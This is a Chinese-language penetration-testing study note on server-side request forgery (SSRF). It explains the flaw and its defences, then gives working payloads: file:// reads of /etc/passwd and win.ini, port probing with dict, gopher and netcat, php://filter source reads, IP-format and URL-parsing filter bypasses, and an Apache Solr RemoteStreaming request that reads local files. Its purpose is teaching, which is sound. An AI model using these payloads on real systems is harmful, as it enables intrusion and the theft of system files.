渗透测试-15:SSRF 漏洞
漏洞原理
- SSRF(Server-Side Request Forgery):服务器端请求伪造,是大型站点中出现频率较高的漏洞
- 该漏洞通常由攻击者构造的请求传递给服务端,服务器端对传回的请求未作特殊处理直接执行而造成的
- 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
- 大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。如从指定URL地址加载图片、文本资源或者获取指定页面的内容等
漏洞危害
- SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件
- 让服务端去访问相应的网址
- 让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
- 可以使用file、dict、gopher、ftp协议进行请求访问相应的文件
- 攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包payload)
- 攻击内网应用程序(利用跨协议通信技术)
- 判断内网主机是否存活:方法是访问看是否有端口开放
- DoS攻击(请求大文件,始终保持连接keep-alive always)
漏洞常出现位置
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源
- 数据库内置功能
- 文件处理、编码处理、属性信息处理
常见场景:在线翻译、转码服务、图片收藏/下载、信息采集、邮件系统、从远程服务器请求资源等
防御方式
- 统一错误信息,避免用户根据错误信息来判断远程服务器的端口状态
- 限制请求的端口为http的常用端口,比如:80、443、8080等
- 禁用不需要的协议,仅允许http和https
- 根据请求需求,可以将特定域名加入白名单,拒绝白名单之外的请求
- 后台代码对请求来源进行验证
漏洞函数
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取
PHP涉及到的函数主要有:
- file_get_contents()
- fsockopen()
- curl_exec():抓取 url 并把它传递给浏览器
相关协议
- Dict协议:字典服务器器协议,dict是基于查询响应的TCP协议,它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628;主要用来探测内网端口协议
- http协议:主要用来发送http协议,获取超文本内容,包括文字、图片、视频、音频等常用互联网资源;
- File协议:本地文件传输协议,File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样;
- Gopher协议:是互联网上使用的分布型的文件搜集获取网络协议。gopher协议是在HTTP协议出现之前,在internet上常见重用的协议,但是现在已经用的很少了
file协议
查看文件
先在连接中使用大小字母判断操作系统,若大写有返回小写无返回则为linux系统(linux系统区分大小写)
curl -v file:///etc/passwd
?url=file:///c/windows/win.ini
http协议
探测端口:?url=http://[IP]:3306
// 若为linux系统,则可以探测是否开启ssh服务
探测端口:?url=http://[IP]:22
dict协议
探测端口:curl -v dict://[IP]:[端口]
gopher协议
端口监听:nc -lvp [端口号]
数据请求:curl -v gopher://[IP]:[端口]/[目录]/[文件]?[参数]=[值]
php协议
读取源码:http://[IP]/[路径]/[文件]?[参数]=php://filter/read=convert.base64-encode/resource=[文件]
绕过技巧
后台一般会对用户的请求中携带的内部IP地址或者HOST进行过滤,主要有以下几种方式可以绕过:
1、更改IP地址写法
2、利用解析URL所出现的问题
3、利用320跳转
4、通过非HTTP协议
5、DNS Rebinding
6、利用IPv6
7、利用IDN
8、短链接
更改IP地址写法
后台对传入的IP地址会过滤,此时需要对IP地址进行转换格式绕过过滤;对于这种过滤我们采用改变IP的写法的方式进行绕过,例如 192.168.2.108 这个IP地址可以被改写成:
8进制格式:0300.0250.2.0154
16进制格式:0xc0.0xa8.2.0x6c
10进制整数格式:3232236140
16进制整数格式:0xc0a8026c
合并后两位:0xc0.0xa8.620 或 192.168.620
合并后三位:192.11010668
利用解析URL出现问题
- 在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤
- 比如
http://www.baidu.com@192.168.2.108/
- 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是
www.baidu.com
,认为是访问请求的host地址)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com
,而实际上这个URL所请求的内容都是192.168.2.108
上的内容
通过各种非HTTP协议
- 如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用
- GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。
- 例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL
DNS Rebinding
DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或绕过waf进行ssrf的目的
- 获取到输入的URL,从该URL中提取host
- 对该host进行DNS解析,获取到解析的IP
- 检测该IP是否是合法的,比如是否是私有IP等
- 如果IP检测为合法的,则进入curl的阶段发包
Apache Solr RemoteStreaming
抓包修改配置
POST /solr/demo/config HTTP/1.1
Content-Type: application/json
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
读取文件
http://[IP]:[端口]/solr/demo/debug/dump?param=ContentStream&stream.url=file:///etc/passwd